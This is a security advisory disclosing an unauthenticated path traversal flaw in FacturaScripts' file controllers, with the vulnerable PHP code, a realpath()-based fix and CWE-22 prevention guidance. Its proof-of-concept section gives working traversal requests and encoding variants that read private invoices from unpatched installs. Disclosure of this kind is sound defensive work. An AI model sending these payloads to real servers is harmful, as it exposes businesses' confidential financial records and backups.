Skip to content

GHSA-cv65-7cg8-r623 CVE-2026-45693

FacturaScripts: Unauthenticated Path Traversal in Static File Controllers Reads Private MyFiles Documents

High Packagist
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
—
No score published
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix
None yet
No fixed version published

Description

Summary

The static file controllers in FacturaScripts decide whether a request is authorized by looking at the URL string instead of the canonical filesystem path. A request that starts with an allow-listed folder name but contains a ../ segment in the middle ends up serving a file from a different directory than the one the URL pretended to point at. This makes any file inside the FacturaScripts installation readable without authentication as long as the file's extension is on the controllers' allow-list (pdf, xlsx, docx, csv, sql, zip, xml, json, xsig, etc.). In practice this leaks the documents the application is specifically designed to protect: customer invoices, supplier invoices, document attachments and database backups stored under MyFiles/Private/ and other non-public subfolders.

The two vulnerable controllers are Core/Controller/Files.php (used by the /Plugins/*, /Core/Assets/*, /Dinamic/Assets/* and /node_modules/* routes) and Core/Controller/Myfiles.php (used by /MyFiles/*). Both share the same root cause: a strpos() / substr() prefix check on the raw URL is treated as proof that the resolved file lives inside an authorized directory.

The /Plugins/* route via Files.php is the cleanest exploit path because Plugins/ is part of every FacturaScripts installation, so no precondition is required. The /MyFiles/* route via Myfiles.php is a second path with the same root cause: when the URL starts with /MyFiles/Public/, the controller exits early and skips the per-file myft token check, which can be combined with ../ to read tokenless files outside Public/.

Tested live on commit de01369 (master, 2026-05-11) and on tag v2026.2, with PHP 8.0.30 on Apache 2.4.56.

Details

Path 1, in Core/Controller/Files.php

Files::__construct concatenates the project folder with the request URL and then runs two safety checks before serving the file:

$this->filePath = Tools::folder() . $url;

if (false === is_file($this->filePath)) {
    throw new KernelException('FileNotFound', ...);
}

if (false === $this->isFolderSafe($url)) {
    throw new KernelException('UnsafeFolder', $url);
}

if (false === $this->isFileSafe($this->filePath)) {
    throw new KernelException('UnsafeFile', $url);
}

isFolderSafe() only inspects the URL string:

public static function isFolderSafe(string $filePath): bool
{
    $safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles/Public'];
    foreach ($safeFolders as $folder) {
        if ('/' . $folder === substr($filePath, 0, 1 + strlen($folder))) {
            return true;
        }
    }
    return false;
}

For a request like /Plugins/../MyFiles/Private/invoice-2026-001.pdf, substr($url, 0, 8) equals /Plugins, so isFolderSafe() returns true. The filesystem layer then resolves the .. segment when is_file() runs, so the actual file opened is /MyFiles/Private/invoice-2026-001.pdf. isFileSafe() only checks the trailing extension, which is pdf and on the allow-list, so the file is served.

Path 2, in Core/Controller/Myfiles.php

The dedicated MyFiles handler resolves the path with urldecode() and reproduces the same prefix-based logic to decide whether the per-file myft token is required:

$this->filePath = Tools::folder() . urldecode($url);

if (false === is_file($this->filePath)) {
    throw new KernelException('FileNotFound', ...);
}
if (false === $this->isFileSafe($this->filePath)) {
    throw new KernelException('UnsafeFile', $url);
}

// if the folder is MyFiles/Public, then we don't need to check the token
if (strpos($url, '/MyFiles/Public/') === 0) {
    return;
}

$fixedFilePath = substr(urldecode($url), 1);
$token = filter_input(INPUT_GET, 'myft');
if (empty($token) || false === MyFilesToken::validate($fixedFilePath, $token)) {
    throw new KernelException('MyfilesTokenError', $fixedFilePath);
}

A request to /MyFiles/Public/../Private/invoice-2026-001.pdf satisfies strpos($url, '/MyFiles/Public/') === 0, so the controller returns early and skips myft token validation. The .. segment is then resolved by is_file() and readfile() against the real filesystem path inside MyFiles/Private/.

This second path is only exploitable when a MyFiles/Public/ directory exists on disk, which is the case in any installation that has ever published a public asset (company logo, theme file, plugin static resource).

Why this is not the documented "Public folder" behaviour

MyFiles/Public/ is intentionally tokenless for assets that live inside it, and that part is by design. The behaviour shown here is different: the URL appears to point at MyFiles/Public/... but the file ultimately returned lives in MyFiles/Private/. The same file (MyFiles/Private/invoice-2026-001.pdf) is returned with HTTP 403 (Invalid token) when requested directly, and HTTP 200 with the file body when requested through the traversal sequence. The access decision is not consistent with the actual file location, which is the textbook definition of a path traversal flaw.

PoC

The PoC uses one sample invoice planted at MyFiles/Private/invoice-2026-001-ACME.pdf (215 bytes) on a fresh install:

%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial data

Step 1, control. Direct access without a token is blocked:

GET /MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088
HTTP/1.1 403 Forbidden
<title>Invalid token.</title>
<p>The access token for the file MyFiles/Private/invoice-2026-001-ACME.pdf is invalid or has expired</p>

<img width="1584" height="788" alt="01-control-direct-private-file-blocked" src="https://github.com/user-attachments/assets/37d55f79-55ab-4f69-a9e0-827fc39c0b33" />

Step 2, exploit via /Plugins/*. This is the no-precondition path:

GET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088
HTTP/1.1 200 OK
Content-Length: 215
Content-Type: application/pdf

%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial data

<img width="1585" height="791" alt="02-exploit-path1-plugins-leak" src="https://github.com/user-attachments/assets/bccab788-a369-49bf-84dd-8f2f74addecf" />

The same file that returned 403 in Step 1 is now returned without authentication. /Core/Assets/* and /Dinamic/Assets/* behave the same way against the same controller; /Plugins/* is used here because the folder is guaranteed to exist.

Step 3, exploit via /MyFiles/Public/*. This path also bypasses the myft token check:

GET /MyFiles/Public/../Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088
HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000, immutable
Content-Length: 215
Content-Type: application/pdf

%PDF-FAKE-CONTENT for FacturaScripts PoC
...

<img width="1582" height="789" alt="03-exploit-path2-myfiles-public-token-bypass" src="https://github.com/user-attachments/assets/2f95d0c1-4545-453c-a613-5ed035af7957" />

A quick check shows that several encoding variants of .. also work: %2e%2e, %2E%2E, .%2e, ///../. The flaw lives in the prefix check, not in any specific Apache normalization.

The file is confirmed present on disk:

<img width="1918" height="328" alt="04-lab-evidence-file-on-disk" src="https://github.com/user-attachments/assets/2db5875a-d349-4861-bbdd-8f202eb80d5a" />

Affected request paths

URL pattern Controller Token required Result
/MyFiles/Private/invoice.pdf Myfiles yes 403 (control)
/Plugins/../MyFiles/Private/invoice.pdf Files n/a 200 (leak)
/Core/Assets/../MyFiles/Private/invoice.pdf Files n/a 200 (leak)
/Dinamic/Assets/../MyFiles/Private/invoice.pdf Files n/a 200 (leak)
/MyFiles/Public/../Private/invoice.pdf Myfiles bypassed 200 (leak)

Impact

In a real ERP deployment this exposes the documents that the application is specifically designed to keep behind a per-file token:

  • Customer and supplier invoices stored under MyFiles/Private/
  • Document attachments uploaded through WidgetFile and DocFilesTrait (MyFiles/<filename>)
  • Database backups exported with .sql
  • Cached or temporary business data under MyFiles/Cache/ and MyFiles/Tmp/

.php files are not on the extension allow-list, so the flaw does not lead to remote code execution. Files outside the FacturaScripts installation are rejected by Apache's URI normalization (AH10244 invalid URI path), so the leak is bounded to the application directory tree.

Suggested Fix

Both controllers should resolve the requested path to its canonical form with realpath() and verify that the canonical path is inside an allow-listed directory before serving the file or skipping the token check. Example for Files::__construct:

$this->filePath = Tools::folder() . $url;

if (false === is_file($this->filePath)) {
    throw new KernelException('FileNotFound', ...);
}

$realPath = realpath($this->filePath);
$base = realpath(Tools::folder());
if ($realPath === false || strpos($realPath, $base . DIRECTORY_SEPARATOR) !== 0) {
    throw new KernelException('UnsafeFolder', $url);
}

$safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles' . DIRECTORY_SEPARATOR . 'Public'];
$relative = substr($realPath, strlen($base) + 1);
$allowed = false;
foreach ($safeFolders as $folder) {
    if (strpos($relative, $folder . DIRECTORY_SEPARATOR) === 0) {
        $allowed = true;
        break;
    }
}
if (!$allowed) {
    throw new KernelException('UnsafeFolder', $url);
}

The same pattern applies to Myfiles::__construct: compare the canonical resolved path against realpath(Tools::folder() . '/MyFiles/Public') before skipping the myft token check.

Affected Versions

Confirmed on the current master branch (commit de01369) and on the latest tagged release (v2026.2).

Affected versions

Packagist

PackageVulnerableFixed in
facturascripts/facturascripts
<= 2026.2
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
AdvisorySeverityWhy it's related
GHSA-hgjx-r89m-m7v4
FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName() — arbitrary file write outside MyFiles/ leading to RCE
Critical Also affects facturascripts/facturascripts
GHSA-3x7p-v8hj-xh5m
FacturaScripts: Stored XSS in WidgetVariante and WidgetSubcuenta modal lists via HTML-attribute decoding of `Tools::noHtml`-escaped quotes inside `onclick=`
Low Also affects facturascripts/facturascripts
GHSA-2p5x-4jr6-x5jg
FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export
High Also affects facturascripts/facturascripts
GHSA-5qmh-x653-g8qj
FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn`
Critical Also affects facturascripts/facturascripts
GHSA-c67f-gmxw-mj93
FacturaScripts: Account takeover of any 2FA-enabled user
Critical Also affects facturascripts/facturascripts
GHSA-vf3q-frmr-vrr9
FacturaScripts Vulnerable to Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images
Medium Also affects facturascripts/facturascripts
GHSA-vrxf-vrc4-22p7
FacturaScripts Vulnerable to Unauthenticated phpinfo() Disclosure via Installer Endpoint
Medium Also affects facturascripts/facturascripts
GHSA-r736-2678-fcrx
FacturaScripts vulnerable to stored XSS via product reference in sales/purchases
Medium Also affects facturascripts/facturascripts
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor